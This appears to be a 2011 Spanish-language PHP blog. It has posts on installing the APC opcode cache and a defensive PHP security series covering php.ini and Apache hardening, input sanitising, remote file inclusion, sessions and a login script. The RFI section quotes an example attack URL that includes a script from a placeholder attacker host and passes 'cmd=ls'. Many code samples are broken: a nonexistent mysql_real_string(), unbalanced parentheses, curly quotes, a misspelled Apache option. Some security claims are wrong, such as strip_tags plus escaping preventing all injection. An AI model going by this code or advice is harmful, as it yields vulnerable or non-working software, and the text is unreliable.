domingo, 30 de octubre de 2011

XAMPP mas APC en linux

En el post anterior vimos como instalar un acelerador u optimizador de PHP a nivel de opcode en windows ahora lo vamos hacer en linux, cualquier distribucion como la de ubuntu que es la mas común (la cual es un debían) asi que cualquier distro basada en debian funcionara este tuto.

Pasos:
descargar xampp de su web oficial aqui tanto el normal como el de desarrollo e instalar con

#sudo su
#tar xvfz xampp-linux-1.7.7.tar.gz -C /opt


luego instalar el xampp developer, no importa que tengan el mismo nombre, deben combinarse ambos.

#tar xvfz xampp-linux-devel-1.7.7.tar.gz -C /opt


posteriormente si no lo tienes instalar autoconf necesario para que se auto configure al compilarse el APC

#apt-get install autoconf


posteriormente descargarnos la ultima version de APC en pecl.php.net/get/apc
descomprimir donde lo hayamos dejado e ir a esta misma ubicación (obviamente en la terminal)

Nota: es imortante que tengamos instalado el compilador gcc, de serie ningun ubuntu (xubuntu,lubuntu,kubuntu,etc.) lo traen, asi que hay que instalarlo:

sudo apt-get install build-essential


posterioemente continuamos con la compilacion

#cd APC-3.1.9
#/opt/lampp/bin/phpize
#./configure --enable-apc-mmap --with-apxs --with-php-config=/opt/lampp/bin/php-config
#make
#make install


vamos a donde se encuentra el php.ini y lo habrimos y en la seccion de extensiones agregamos la linea extension="apc.so" y en la parte final del mismo la seccion de APC, asi:

extension="apc.so"
[APC]
apc.enabled = 1
apc.shm_segments = 1
apc.shm_size = 64M
apc.max_file_size = 10M
apc.stat=1


inciamos el servidor apache y listo

#/opt/lampp/lampp start


por ultimo tomamos el archivo apc.php del paquete APC que descargamos y lo ponemos en /opt/lampp/htdocs/dondesea y lo ejecutamos en el navegador, ejemplo:  localhost/APC/apc.php

bueno eso es todo, si no tenemos xampp y lo instalamos aparte obviamente solo debemos cambiar las ubicaciones que en vez de xampp sean las de nuestro apache

Saludos.

domingo, 23 de octubre de 2011

Optimizar PHP con APC

Ya en una entrada anterior les dije que hablaría de la optimizacion de código en php, pero no les dije que código XD

Si así es se trata del opcode (operation code) que genera PHP al interpretar un script, algunos lo confunden con bytecode que no es así, el opcode es mas parecido al ensamblador y es el resultado del análisis y "compilación" del código fuente del script y a alguien se le ocurrió que se podía optimizar la ejecución de un script haciendo cache de dicho opcode, evitando la sobre carga de analizar y "compilar" en cada petición del servidor web el script, dejando en memoria RAM el opcode y sirviéndolo cada vez que se le requiera. Bendito el o los que se les ocurrió ya que esto era un verdadero punto en contra de PHP y que a cada rato los fanboys de java te restriegan en la cara jajaja pero bueno PHP tiene como principal fuerte la productividad a nivel negocio que puedes alcanzar con este maduro lenguaje cosa que no ocurre con JAVA, los tiempos de desarrollo en PHP son realmente aplastantes comparados con los de JAVA claro hablando de web, aunque si bien con esto PHP no alcanza a JAVA con sus servlets, si acorta considerablemente la brecha en desempeño que existía entre ambos. Pero ese no es el tema de este post así que al grano.

Hay mucho aceleradores de estos el mejor y oficial es el APC (Alternative Php Cache) así que hablaremos de este, ya que incluso sera incluido como parte de PHP en la versión 6 según los rumores :)

Básicamente existen 2 panoramas windows y linux, por ahora hablaremos de windows que este a su vez tiene otros 2 IIS y Apache.

Apache.

No tenemos mas que bajar la versión de APC que le corresponde a nuestro PHP desde aqui http://downloads.php.net/pierre/ nota NTS significa "non thread safe" y TS obviamente "thread safe" así que procedemos a descargar la nuestra, si tienes PHP en un todo en uno como Wamp o Xamp no hay pierde la versión que te corresponde es la TS.

Actualizacion: de esta oagina tambien se puede conseguir y mas actualizados los dll http://dev.freshsite.pl/php-accelerators/apc.html

ahora copiamos el archivo php_apc.dll en el directorio donde php carga las extensiones, ejemplo: C:\php\ext\ en Xampp es C:\xampp\php\ext\

luego procedemos a modificar nuestro php.ini, agregando las lineas

extension=php_apc.dll ;esto en la sección de extensiones
[APC] ;esto al final de tu php.ini aqui es donde podras controlar a APC
apc.enabled = 1
apc.shm_segments = 1
apc.shm_size = 64 ;aqui aumentamos la memoria en MB que se reserva para el cache
apc.max_file_size = 10M ;los script mas pesados que esto no seran cacheados
apc.stat=1


si quieres saber mas de como configurar tu APC ve aquí http://php.net/manual/es/book.apc.php

luego si quieres ver como funciona, puedes descargar el archivo apc.php desde aqui http://pecl.php.net/ package/APC en donde dice download latest en el tar que descarga (tendrás que usar winrar para poderlo habrir) se encuentra el código fuente por si te interesa, pero ahora solo nos importa el apc.php que lo colocamos en nuestro sitio y lo llamamos nos mostrara unas interesantes gráficas como esta:


IIS

Aquí usaremos Wincache en vez de APC y lo descargamos desde aqui http://www.iis.net/download/wincacheforphp en la parte superior derecha se encuentran los enlaces, el autoextraible nos pregunta donde extraer los archivos, le decimos donde y ahi encontraremos la dll el cual es "php_wincache.dll", seguimos exactamente los mismos pasos y en vez del apc.php tenemos el wincache.php obvio no? XD

El problema es que tu php tiene que ser NTS (non thread safe) y solo fastCGI :(

Espero que les sea útil, en el próximo post hablaremos de como instalar APC en linux.

Saludos.

jueves, 20 de octubre de 2011

Php Seguridad, el login

Bien lo prometido es deuda, en este post, hablare del famoso sistema de login en php.

Muchos desarrollos requerirán de un sistema de sesiones donde tenga que haber un logeo para acceder a información privilegiada, con las vulnerabilidades vistas antes y ya resueltas, podemos hacer nuestro sistema de login con confianza, bien lo primero es propiamente la pagina de login.

en esta deberás separar por un lado el html y por el otro el script php que hara la validacion de modo que te quedaría algo parecido a esto:

login.html

 <form action="valida.php" method="post">
     <input type="text" name="usuario"/>
     <input type="password" name="pass"/>
     <input type="submit" name="ok" value="Acceder"/>
 </form>


evidentemente lo anterior podría fortalecerse con un fingerprinting que ya también se vio en el post anterior y con ello asegurar que los datos que nos llegan son de nuestro formulario legitimo y por el otro lado el script valida.php

include_once("path/config.php"); //el config que creamos en el post anterior en caso de no                                      //haber podido configurar el php.ini

$con=mysql_connect("localhost","uno que NO sea root","un buen password");

// realizamos la conexión primero que nada ya que la función siguiente requiere de una        //conexión y luego recibimos los datos por post>

$us=mysql_real_escape_string(strip_tags($_POST['usuario']));
$pass=mysql_real_escape_string(strip_tags($_POST['pass']));

/*realizamos la correspondiente comparación de usuario y contraseña en la base de datos
...
  ya que realizamos la comparación y sabemos que si es el usuario correcto entonces         procedemos a inicializar el manejador de sesiones, regeneramos el id de sesion y creamos una variable para verificar que se inicio sesión */

if(usuario_validado){>
     session_start();
     session_regenerate_id(true);
     $_SESSION['iniciosesion']=true;
     Header("Location: usuarios.php");
}else{
       Header("Location: login.php");
}


En el código anterior la función mysql_real_escape_string requiere de una conexion que ya establecimos y previene sql injection ademas strip_tags previene php o html injection, posteriormente de haber realizado la correcta validación, en todas las paginas donde usaremos sesiones o son de acceso solo a usuarios validados, debemos hacer lo siguiente al incio:

include_once("path/config.php"); //el config que creamos en el post anterior en caso de no                                      //haber podido configurar el php.ini
session_start();
session_regenerate_id(true);
if($_SESSION['iniciosesion']!=true){
     $_SESSION=array();
     session_unset();
     session_destroy();
     $parametros_cookies = session_get_cookie_params();
     setcookie(session_name(),0,1,$parametros_cookies["path"]);
     Header("Location: no_inicio_sesion.php");
}


Con lo anterior nos aseguramos de que el usuario haya iniciado sesión y en caso de que no entonces destruye la que creo y lo manda de nuevo al login.

Bueno espero que les haya sido de utilidad, ya con esto terminamos la serie de post dedicados a la seguridad php, la próxima veremos como optimizar el código.

Saludos.

viernes, 14 de octubre de 2011

php seguridad programacion (parte 3)

Hola a todos, en los post anteriores vimos como configurar no solo PHP si no también Apache, y para los que usan IIS vimos un index que nos protegía el acceso a una carpeta prohibida, ahora toca el tema mas engorroso y difícil, la programación, aqui es donde la marrana tuerce el rabo y es que muchos programadores dejan al ultimo este tema ya después de haber echo el trabajo (a mi me paso XD) los factores que tienen que tomar en cuenta son básicamente tres:

1.- asume que lo que pienses que el usuario no hará sera lo primero que hará al entrar en tu sitio ya que lo que no esta explicita mente prohibido esta permitido (las maquinas obedecen ciegamente), piensa que siempre estas en guerra y que tus usuarios intentaran  hacer caer tu sitio (paranoico pues si, pero es mejor prevenir que lamentar).

2.-cuida tus entradas, mucho de los ataques (code injection,RFI) son posibles ya que no se sanitizan los datos provenientes de los usuarios.

3.-las sesiones son secuestrables en php, si no se toman medidas preventivas, ademas de un correcto sistema de login.

JAMAS creas que tus usuarios serán unas niñitas inocentes y simpáticas que no rompen ni un plato, jeje
 <--

ok entrando en materia lo primero (si vas a recibir datos de parte del usuario) debes limpiar las variables, ejemplo:

 <form action="xpagina" method="POST"><!--siempre usa post nunca get-->

      <input type="text" name="var1"/>
 </form>



de este form obtendremos la variable var1 la cual debemos limpiar de la siguiente forma:

$variable_limpia=strip_tags($_POST['var1']) //solo elimina html y php

$variable_limpia=mysql_real_string($_POST['var1'] //evitamos sql code injection
$variable_limpia=mysql_real_string(strip_tags($_POST['var1']))


con lo anterior podemos estar tranquilos que no ocurrirá un code injection, ahora vamos con otro detalle y que suele ocurrir y es el RFI (Remote File Include) es decir puede pasar que incluyamos scripts php con la funcion include pero a la espera de una respuesta del usuario por ejemplo:

include_once($page); //$page viene de una entrada por url por ejemplo http://mi.servidor.com/index.php?page=pagina_buena.php
//el atacante podria usar http://mi.servidor.com/index.php?page=servidor.atacante/script_malisioso.txt&&cmd=ls


para evitarlo simplemente debemos usar estructuras de decisión y nunca  ni por url es decir:

if($page==1){
    include_once("pagina_buena.php");
}else{
    ...
}
 //o en su defecto usar esto en la inclusión
if($page=="pagina_buena"){
    include_once($page.".php");
}


con lo anterior tenemos cubierto este aspecto, ahora vamos con el manejo de sesiones, para evitar el secuestro de sesiones por XSS (cross site scripting) ya anteriormente vimos como configurar el interprete de php para que no pueda ser accesible la cookie por javascript (por lo que el atacante no sera un vulgar lammer o script kiddie y tendrá que tener mejor nivel para intentar atacarnos)

pero ademas complicamos el id de sesión con sha1 de 160 bits para evitar que la adivinen por force brute (aunque podemos usar algoritmos mas complejos como haval usando la funcion hash_algos() que nos dira que algoritmos soporta nuestro php y meterla en la directiva que ya vimos  "session.hash_function") entre otras cosas que hicimos y para rematar podemos usar lo siguiente en nuestros scripts:

session_regenerate_id(true); //con esto indicamos al servidor que regenere la cookie y el id de sesion, borrando la anterior con esto se lo ponemos muy dificil a quien intente secuestrar la sesion

con el código anterior y usándolo lo mas a menudo posible durante todo nuestro sitio podemos estar tranquilos, pero hay un pero valga la redundancia jeje y es que en ocasiones pierde la sesion, ustedes sabrán en que paginas no usarlo lo tienen que experimentar. Entre otras recomendaciones están la de siempre almacenar los datos de acceso a BBDD en constantes y no en variables y separar en capas el acceso a datos y por otro el manejos de datos (2 archivos diferentes), también podemos usar finger printing en nuestros formularios, ejemplo:

session_start();
if (!isset($_SESSION[‘sesion_iniciada'])) {
    session_regenerate_id(); // Ejemplo de regeneración de ID
    $_SESSION[‘sesion_iniciada'] = true;
    if (isset($_POST[“token”] && $_POST[‘token'] == $_SESSION['token']) {
       // Procesar el formulario …
    }
}
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>">
<input type="text" name="message">
</form>


con esto aseguramos que los datos vienen de nuestro formulario legitimo, finalmente el tema del login, que puede irse todo al carajo si no tenemos un login correcto.

pero de esto hablare en la siguiente entrega, por lo mientras hasta luego

lunes, 10 de octubre de 2011

Php seguridad, como configurar (parte 2)

En el post anterior vimos el escenario donde no tenemos acceso al servidor, pero ahora vamos a ver el caso en el que si.

Buscamos el archivo de configuración de php o sea el famosísimo php.ini, en el haremos la siguiente configuración:

;desactivamos los errores
display_errors = Off
session.save_path = "cambiamos a otro"
;activamos el uso de cookies
session.use_cookies = 1
;forzamos el uso de cookies para el id de sesion
session.use_only_cookies = 1
;le cambiamos el nombre a la cookie
session.name = usamosotronombre
;evitamos que la cookie pueda ser accesada desde java script
session.cookie_httponly = 1
;cambiamos el valor de la probabilidad de que el garbage collector se inicie
session.gc_probability = 10
session.gc_divisor = 100
;reducimos el tiempo de vida de la basura (datos) del garbage collector
session.gc_maxlifetime = 600
;cambiamos el algoritmo de generacion de id de sesion por el sha1(160bits)
session.hash_function = 1 ;aunque podemos usar cualquier otro de la lista que muestra la funcion hash_algos()


Obviamente buscamos dichas directivas y les cambiamos el valor (NO las agregamos). Ahora hacemos lo mismo que en el post anterior creamos archivos .htaccess para restringir el acceso y/o el uso de index que redireccionen a la zona correcta de nuestro sitio.

 Ahora buscamos el archivo de configuración de nuestro servidor apache el también  famosísimo  httpd.conf y modificamos el siguiente código:

<Directory />
Options –FollowSymLiks -Indexes -ExecCGI AllowOverride None
Order deny,allow
Deny from all
</Directory>


También podemos optar por tratar los archivos *.inc y como archivos php, al agregar la extensión en la sección <IfModule mime_module> la extensión "AddType application/x-httpd-php .inc". Así como denegar el acceso de los mismos desde apache, con:

<Files ~ “\.inc$”> 
Order allow ,deny
Deny from all
</Files>


En la tercera entrega veremos la parte mas extensa pero la mas determinante a la hora de mejorar la seguridad de nuestro sitio y se trata de nuestras costumbres de programación, veremos lo que no debemos hacer y lo que si debemos hacer, para que nuestras aplicaciones sean seguras aunque ojo no invulnerables pero se lo pondremos tan difícil al cracker que tendría que ser un genio de talla internacional para hackear nuestra web jejeje bueno tal vez no tanto, hasta la próxima.

viernes, 7 de octubre de 2011

Php Seguridad, como configurar (parte 1)

Mucho se habla de que php es vulnerable a muchos tipos de ataque, y yo creo que si, así que mejor nos cambiamos a asp no? XD es broma.

Lo mas difícil es cuando eres el desarrollador de sistemas y cuando hay un fallo o atacan el sitio el responsable eres tu, así que debes tener cuidado y peor es cuando al mismo tiempo eres el administrador de sistemas, en cuyo caso felicidades eres un brown eater XD, no también es broma.

Bueno ya en serio esta es la primera entrega de 3 en donde les mostrare algunas técnicas de seguridad que si bien no son la panacea a este problema si ayudan a mitigar severamente los agujeros de seguridad que no son propiamente atribuibles al lenguaje en muchas ocasiones es al administrador del sistema o al programador, hay dos posibles escenarios, el primero donde NO tengamos acceso a la configuración del servidor (que si no sabes que es no se que haces aquí) y el segundo pues obvio donde SI.

Ok en el primer escenario y si vamos a usar variables de sesión que tiene que ser así (otras alternativas para la persistencia de datos, no son optimas y suelen ser mas inseguras) ya que una aplicación php sin variables de sesión no llegara muy lejos ni sera potente, pero tiene un defecto y es que son secuestrables lo que se conoce como stealing cookie por medio del xss (cross-site scripting) por lo que JAMAS debemos enviar el id de sesión por url en otra ocacion hablaremos mas a ddetalle estas vulnerabilidades, ok entonces debemos crear un archivo de configuración una especie de config.php que deberá incluirse siempre en nuestros scripts que vayan a usar variables de sesión, las directivas que debemos afectar son:

 error_reporting(0); //con esto evitamos que se muestren los errores
  ini_set("expose_php",0); //evitamos mostrar demasiada informacion sobre nuestro servidor a los atacantes
  ini_set("session.save_path","path a donde el servidor guardara las sesiones");
  ini_set("session.name","cambiar el nombre de la cookie");
  ini_set("session.gc_probability",10);//aumentamos la probabilidad de que el garbage collector se incie
  ini_set("session.gc_divisor",100);
  ini_set("session.cookie_httponly",1); //la cookie no podrá ser accesada por javascript
  ini_set("session.hash_function",1); //con esto usara sha1 como generadora del id
  ini_set("session.use_cookies",1); //activamos el uso de sesiones por cookies
  ini_set("session.use_only_cookies",1); //obligamos a guardar el id de sesion en cookies
  ini_set("session.gc_maxlifetime",600); //reducimos el tiempo de duracion de la basura
  ini_set("session.cache_expire",int tiempo en minutos); //de la duracion de la sesion


por supuesto después de estas lineas de código debes usar session_start() que se encargara de iniciar el manejador de sesiones de php.

Por otro lado y esto ya no es por parte de php, pero no esta demás y si tienes servidor apache, generalmente la mayoría de los hosting te permitirán subir archivos .htaccess o si trabajas en sistemas exígele al administrador de sistemas si es que es un tipo no muy competente que configure y suba archivos .htaccess al sitio donde quedara tu web de forma que no se pueda acceder mas que localmente a los directorios donde tengas tus script sensibles, así solo el interprete podrá acceder a los scripts y no un navegador, el archivo tendrá un aspecto parecido a este:

 Order deny,allow
Deny from all
  Allow from localhost
 


Pero si es IIS entonces deberemos crear un archivo index.php que redireccione y saque del directorio que no quieres que vean al index correcto.

header("Location: ../home/index,php");

En la segunda entrega hablaremos del otro escenario donde tenemos el control del servidor y lo cual es mucho mejor aunque recae mas responsabilidad

miércoles, 5 de octubre de 2011

Primer post

Hola a todos este es el primer post de este blog que espero sea de su agrado pero sobretodo de mucha utilidad, aquí trataremos temas como howtos, opiniones, noticias y mas del apasionante mundo del desarrollo web, muy enfocado a la programación aunque también se tratara el tema de diseño.

Se trataran diversos lenguajes, técnicas, comparativas, tips, trucos y consejos y así conseguir un desarrollo mas efectivo, estará enfocado a desarrolladores noveles aunque también los mas avanzados pueden sentirse libres de aportar y se les estará muy agradecido.

También habrá un especial énfasis en Python con una configuración especial que en lo personal me gusta mas que Java con todo y sus servlets, ya les hablare después de ello.

Que lo disfruten :)